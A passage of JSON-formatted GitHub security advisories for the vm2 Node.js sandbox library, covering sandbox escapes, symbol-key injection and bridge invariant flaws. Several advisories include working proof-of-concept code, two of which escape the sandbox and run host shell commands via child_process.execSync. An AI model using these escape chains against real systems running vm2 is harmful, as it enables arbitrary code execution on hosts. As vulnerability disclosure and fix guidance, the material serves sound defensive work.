47209","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-c4cf-2hgv-2qv6","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6","summary":"Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"## Summary\r\n\r\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\r\n\r\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\r\n\r\n## Vulnerable Code\r\n\r\n```javascript\r\n// bridge.js:1231-1260\r\nset(target, key, value, receiver) {\r\n    validateHandlerTarget(this, target);\r\n    const object = getHandlerObject(this);\r\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\r\n    // ...\r\n    try {\r\n        value = otherFromThis(value);\r\n        return otherReflectSet(object, key, value) === true;\r\n        // BUG: 'receiver' is never used.\r\n        // Should check if receiver !== proxy and handle accordingly.\r\n    } catch (e) {\r\n        throw thisFromOtherForThrow(e);\r\n    }\r\n}\r\n```\r\n\r\n## Impact\r\n\r\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\r\n\r\n```javascript\r\n// Sandbox code\r\nconst child = Object.create(hostObj);\r\nchild.injectedProp = 'attacker-value';\r\n// hostObj now has 'injectedProp' on the HOST side\r\n```\r\n\r\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\r\n\r\n```javascript\r\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\r\nconst child = Object.create(hostFunction);\r\nchild[kCustom] = function() {\r\n    return Promise.resolve('attacker-controlled');\r\n};\r\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\r\n```\r\n\r\n## Reproduction\r\n\r\n```javascript\r\nconst { VM } = require('vm2');\r\nconst util = require('util');\r\n\r\nconst vm = new VM();\r\nconst hostFn = function api(cb) { cb(null, 'ok'); };\r\nvm.setGlobal('hostFn', hostFn);\r\n\r\nvm.run(`\r\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\r\n  const child = Object.create(hostFn);\r\n  child[kCustom] = function() {\r\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\r\n  };\r\n`);\r\n\r\n// Host side\r\nconst promisified = util.promisify(hostFn);\r\npromisified('test').then(r => console.log(r));\r\n// Output: EXPLOITED-VIA-RECEIVER-BUG\r\n```\r\n\r\n## Suggested Fix\r\n\r\n```javascript\r\nset(target, key, value, receiver) {\r\n    validateHandlerTarget(this, target);\r\n    const object = getHandlerObject(this);\r\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\r\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\r\n    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {\r\n        return this.setPrototypeOf(target, value);\r\n    }\r\n    if (key === 'constructor' && thisArrayIsArray(object)) {\r\n        thisReflectSet(target, key, value);\r\n        return true;\r\n    }\r\n    try {\r\n        value = otherFromThis(value);\r\n        // When receiver is not the proxy itself, set on receiver (this-realm)\r\n        // instead of the host target to preserve prototype-chain semantics.\r\n        return otherReflectSet(object, key, value) === true;\r\n    } catch (e) {\r\n        throw thisFromOtherForThrow(e);\r\n    }\r\n}\r\n```","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-c4cf-2hgv-2qv6","type":"GHSA"},{"value":"CVE-2026-47209","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:55:28Z","published_at":"2026-05-18T12:47:37Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"q1uf3ngONEKEY","type":"reporter"}],"credits_detailed":[{"user":{"login":"q1uf3ngONEKEY","id":270881999,"node_id":"U_kgDOECVUzw","avatar_url":"https://avatars.githubusercontent.com/u/270881999?v=4","gravatar_id":"","url":"https://api.github.com/users/q1uf3ngONEKEY","html_url":"https://github.com/q1uf3ngONEKEY","followers_url":"https://api.github.com/users/q1uf3ngONEKEY/followers","following_url":"https://api.github.com/users/q1uf3ngONEKEY/following{/other_user}","gists_url":"https://api.github.com/users/q1uf3ngONEKEY/gists{/gist_id}","starred_url":"https://api.github.com/users/q1uf3ngONEKEY/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/q1uf3ngONEKEY/subscriptions","organizations_url":"https://api.github.com/users/q1uf3ngONEKEY/orgs","repos_url":"https://api.github.com/users/q1uf3ngONEKEY/repos","events_url":"https://api.github.com/users/q1uf3ngONEKEY/events{/privacy}","received_events_url":"https://api.github.com/users/q1uf3ngONEKEY/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6}},{"ghsa_id":"GHSA-m5q2-4fm3-vfqp","cve_id":"CVE-2026-47135","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-m5q2-4fm3-vfqp","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp","summary":"Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks","description":"## Summary\r\n\r\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.\r\n\r\n## Root Cause\r\n\r\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\r\n\r\n```js\r\nSymbol.for = function (key) {\r\n    const keyStr = '' + key;\r\n    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;\r\n    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;\r\n    return originalSymbolFor(keyStr); // everything else passes through\r\n};\r\n```\r\n\r\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\r\n\r\n- `nodejs.util.promisify.custom`\r\n- `nodejs.stream.readable`\r\n- `nodejs.stream.writable`\r\n- `nodejs.stream.duplex`\r\n- `nodejs.stream.transform`\r\n- `nodejs.webstream.isClosedPromise`\r\n- `nodejs.webstream.controllerErrorFunction`\r\n\r\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\r\n\r\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\r\n\r\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\r\n\r\n**3. Incomplete filters in setup-sandbox.js**:\r\n\r\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.\r\n\r\n## Verified Exploitation: util.promisify Hijack\r\n\r\n```js\r\nconst { VM } = require('vm2');\r\nconst util = require('util');\r\n\r\nconst vm = new VM();\r\nconst hostFn = function readFile(path, cb) { cb(null, 'real data'); };\r\nvm.setGlobal('hostFn', hostFn);\r\n\r\n// Sandbox writes promisify.custom to host function\r\nvm.run(`\r\n  const kPromisify = Symbol.for('nodejs.util.promisify.custom');\r\n  hostFn[kPromisify] = function(path) {\r\n    return Promise.resolve('HIJACKED by sandbox');\r\n  };\r\n`);\r\n\r\n// Host-side: promisified function now returns sandbox-controlled value\r\nconst asyncRead = util.promisify(hostFn);\r\nasyncRead('/etc/passwd').then(console.log);\r\n// Output: \"HIJACKED by sandbox\"\r\n```\r\n\r\n**Additional verified attacks:**\r\n\r\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\r\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\r\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\r\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\r\n\r\n## Impact\r\n\r\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\r\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\r\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\r\n\r\nThis is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\r\n\r\n## Affected Versions\r\n\r\n- vm2 <= 3.11.2 (all 3.x versions)\r\n\r\n## Environment\r\n\r\n- Node.js v24.14.0\r\n- macOS (Darwin 25.4.0)\r\n\r\n## Suggested Fix\r\n\r\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\r\n\r\n```js\r\nSymbol.for = function (key) {\r\n    const keyStr = '' + key;\r\n    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);\r\n    return originalSymbolFor(keyStr);\r\n};\r\n```\r\n\r\n2. **`bridge.js`**: Add check to write traps:\r\n\r\n```js\r\nset(target, key, value, receiver) {\r\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\r\n    // ...\r\n}\r\n```\r\n\r\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-m5q2-4fm3-vfqp","type":"GHSA"},{"value":"CVE-2026-47135","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T21:59:10Z","published_at":"2026-05-18T12:47:04Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8.7},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"q1uf3ng","type":"reporter"}],"credits_detailed":[{"user":{"login":"q1uf3ng","id":186373426,"node_id":"U_kgDOCxvVMg","avatar_url":"https://avatars.githubusercontent.com/u/186373426?v=4","gravatar_id":"","url":"https://api.github.com/users/q1uf3ng","html_url":"https://github.com/q1uf3ng","followers_url":"https://api.github.com/users/q1uf3ng/followers","following_url":"https://api.github.com/users/q1uf3ng/following{/other_user}","gists_url":"https://api.github.com/users/q1uf3ng/gists{/gist_id}","starred_url":"https://api.github.com/users/q1uf3ng/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/q1uf3ng/subscriptions","organizations_url":"https://api.github.com/users/q1uf3ng/orgs","repos_url":"https://api.github.com/users/q1uf3ng/repos","events_url":"https://api.github.com/users/q1uf3ng/events{/privacy}","received_events_url":"https://api.github.com/users/q1uf3ng/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","score":8.7}},{"ghsa_id":"GHSA-76w7-j9cq-rx2j","cve_id":"CVE-2026-47208","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-76w7-j9cq-rx2j","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j","summary":"Sandbox Breakout Using Promise Species","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\r\n\r\n### PoC\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nvm.run(`\r\nclass E extends Error {}\r\nfunction so(d) {\r\n\tif (d > 0) so(d-1);\r\n\tconst e = new E();\r\n\te.stack;\r\n\tthrow e;\r\n}\r\nlet ex, ct;\r\nclass FakePromise extends Promise {\r\n\tstatic get [Symbol.species](){return ct;}\r\n}\r\nfunction doCatch(f) {\r\n\tex=undefined;\r\n\tconst p=Promise.withResolvers();\r\n\tct = function(e){e(f, v=>{ex=v;p.resolve();})};\r\n\tnew FakePromise(r=>r());\r\n\treturn p.promise;\r\n}\r\n(async function f(s) {\r\n\tlet min = s;\r\n\tlet max = 100000;\r\n\twhile (min<max) {\r\n\t\tconst mid = (min+max)>>1;\r\n\t\tawait doCatch(()=>so(mid));\r\n\t\tif (ex.name===\"RangeError\" && !(ex instanceof RangeError)) {\r\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (ex instanceof E) {\r\n\t\t\tmin = mid+1;\r\n\t\t} else {\r\n\t\t\tmax = mid;\r\n\t\t}\r\n\t}\r\n\tf(s+1);\r\n})(0);\r\n`);\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-76w7-j9cq-rx2j","type":"GHSA"},{"value":"CVE-2026-47208","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T22:55:20Z","published_at":"2026-05-18T12:46:19Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"cwe_ids":["CWE-913"],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-q3fm-4wcw-g57x","cve_id":null,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-q3fm-4wcw-g57x","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-q3fm-4wcw-g57x","summary":"vm2 setup-sandbox.js violates Defense Invariant #11 in stack-trace formatter","description":"## Summary\r\n\r\n`defaultSandboxPrepareStackTrace` in `lib/setup-sandbox.js` (lines 605, 607) appends to a fresh sandbox-realm `lines = []` via `lines[lines.length] = value`. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in `neutralizeArraySpeciesBatch` and codified as Defense Invariant #11 (\"Bridge-internal containers must not invoke sandbox code\"). A sandbox-installed `Array.prototype[N]` setter fires during the bridge's safe-default stack-trace formatting and observes / intercepts each appended line.\r\n\r\n## Details\r\n\r\nThe post-9qj6 audit note in `docs/ATTACKS.md` (line 2111) states:\r\n\r\n> Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier.\r\n\r\nThe audit is scoped to `lib/bridge.js`. `lib/setup-sandbox.js` was not covered. `defaultSandboxPrepareStackTrace` (added under post-#563 hardening for GHSA-v27g) constructs a sandbox-realm `[header]` array and appends each frame via the prototype-walking index assignment:\r\n\r\n```\r\n// lib/setup-sandbox.js, lines 601-610\r\nconst lines = [header];\r\nfor (let i = 0; i < callSites.length; i++) {\r\n    try {\r\n        lines[lines.length] = '    at ' + callSites[i];\r\n    } catch (e) {\r\n        lines[lines.length] = '    at <error formatting frame>';\r\n    }\r\n}\r\nreturn lines.join('\\n');\r\n```\r\n\r\nThis function runs every time sandbox code reads `error.stack` (or any path that triggers `Error.prepareStackTrace`). At the time it runs, user code has already had the opportunity to install a setter on `Array.prototype[N]`. Because `lines` starts at length 1, the first iteration writes index 1; if `lines[1]` has no own data property, V8 walks the prototype chain and invokes the sandbox-controlled setter.\r\n\r\nThe currently-assigned value is the string `'    at ' + callSites[i]` (the wrapped `CallSite` class's safe `toString()` returns `'CallSite {}'`), which limits the immediate impact to a side channel, not an RCE pivot. The concern is structural rather than exploit-today:\r\n\r\n- The just-codified Defense Invariant #11 explicitly requires that any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives. This site does not.\r\n- The `catch` branch at line 607 also uses the same pattern, so a sandbox getter that throws on `callSites[i]` access still routes its retry write through the prototype chain.\r\n- A future change that makes the appended slot value an object holding a host-realm reference (for example, an enriched frame record) would re-introduce the exact GHSA-9qj6 attack shape against this codepath.\r\n\r\nThe fix is mechanical and mirrors the GHSA-9qj6 patch: install entries via `localReflectDefineProperty` so each appended slot is an own data property and the prototype-chain setter is bypassed.\r\n\r\n```javascript\r\n// Suggested patch (sketch)\r\nlet linesLen = 1;\r\nfunction append(s) {\r\n    localReflectDefineProperty(lines, linesLen, {\r\n        __proto__: null,\r\n        value: s,\r\n        writable: true,\r\n        enumerable: true,\r\n        configurable: true,\r\n    });\r\n    linesLen++;\r\n}\r\nfor (let i = 0; i < callSites.length; i++) {\r\n    try {\r\n        append('    at ' + callSites[i]);\r\n    } catch (e) {\r\n        append('    at <error formatting frame>');\r\n    }\r\n}\r\n```\r\n\r\nThe same pattern at `callSiteGetters[callSiteGetters.length] = {...}` (line 649) runs only at sandbox setup, before user code can install setters, so it is safe today. Converting it for symmetry would be cheap and forward-compatible.\r\n\r\n## PoC\r\n\r\nvm2 v3.11.2, Node v24.\r\n\r\n```javascript\r\nconst { VM } = require('vm2');\r\nconst result = new VM().run(`\r\n    var observed = { setterFired: false, capturedValue: null, indexFired: null };\r\n    Object.defineProperty(Array.prototype, 1, {\r\n        configurable: true,\r\n        set(value) {\r\n            observed.setterFired = true;\r\n            observed.indexFired = 1;\r\n            observed.capturedValue =\r\n                typeof value === 'string' ? value.slice(0, 40) : typeof value;\r\n        },\r\n        get() { return undefined; }\r\n    });\r\n    var e = new Error('x');\r\n    e.stack;\r\n    observed;\r\n`);\r\nconsole.log(result);\r\n// {\r\n//   setterFired: true,\r\n//   capturedValue: '    at CallSite {}',\r\n//   indexFired: 1\r\n// }\r\n```\r\n\r\nSandbox code observed and intercepted the bridge-internal write to `lines[1]`. Repeating the PoC with the setter installed at multiple indices (0, 1, 2, ...) captures every frame the formatter would otherwise return.\r\n\r\n## Impact\r\n\r\nHardening / Defense Invariant #11 violation. No direct sandbox escape on the current codebase: the value passed to the setter is a primitive string after the wrapped `CallSite.toString()`, so attacker-controlled code does not gain a host-realm reference from the setter argument alone. The GHSA-9qj6 entry's \"Considered Attack Surfaces\" note states the audit covered `lib/bridge.js` index-write sites; this filing reports the equivalent pattern in `lib/setup-sandbox.js` so the invariant is uniform across the bridge boundary and future enrichments of the appended record cannot regress into the GHSA-9qj6 shape.\r\n","severity":"low","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-q3fm-4wcw-g57x","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-05-18T12:46:01Z","published_at":"2026-05-18T12:46:01Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","score":2.1}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"fg0x0","type":"reporter"}],"credits_detailed":[{"user":{"login":"fg0x0","id":35772301,"node_id":"MDQ6VXNlcjM1NzcyMzAx","avatar_url":"https://avatars.githubusercontent.com/u/35772301?v=4","gravatar_id":"","url":"https://api.github.com/users/fg0x0","html_url":"https://github.com/fg0x0","followers_url":"https://api.github.com/users/fg0x0/followers","following_url":"https://api.github.com/users/fg0x0/following{/other_user}","gists_url":"https://api.github.com/users/fg0x0/gists{/gist_id}","starred_url":"https://api.github.com/users/fg0x0/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fg0x0/subscriptions","organizations_url":"https://api.github.com/users/fg0x0/orgs","repos_url":"https://api.github.com/users/fg0x0/repos","events_url":"https://api.github.com/users/fg0x0/events{/privacy}","received_events_url":"https://api.github.com/users/fg0x0/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-v6mx-mf47-r5wg","cve_id":"CVE-2026-47131","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-v6mx-mf47-r5wg","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg","summary":"Sandbox Escape","description":"### Summary\r\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\r\nThis allows attackers to run arbitrary code.\r\n\r\n### PoC\r\n```js\r\n\"use strict\";\r\n\r\nconst { VM } = require(\"vm2\");\r\nconst vm = new VM();\r\n\r\nvm.run(`\r\n  \"use strict\";\r\n\r\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\r\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\r\n\r\n  async function f() {\r\n    try {\r\n      await WebAssembly.compileStreaming();\r\n    } catch(e) {\r\n      setProto.call(getProto.call(e), null);\r\n    }\r\n\r\n    try {\r\n      await WebAssembly.compileStreaming();\r\n    } catch(e) {\r\n      const HostFunction = e.constructor.constructor;\r\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\r\n    }\r\n  }\r\n\r\n  f();\r\n`);\r\n```\r\n\r\n### Impact\r\nSandbox Escape → RCE\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-v6mx-mf47-r5wg","type":"GHSA"},{"value":"CVE-2026-47131","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-18T21:54:51Z","published_at":"2026-05-18T12:45:44Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<=3.11.3","patched_versions":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code 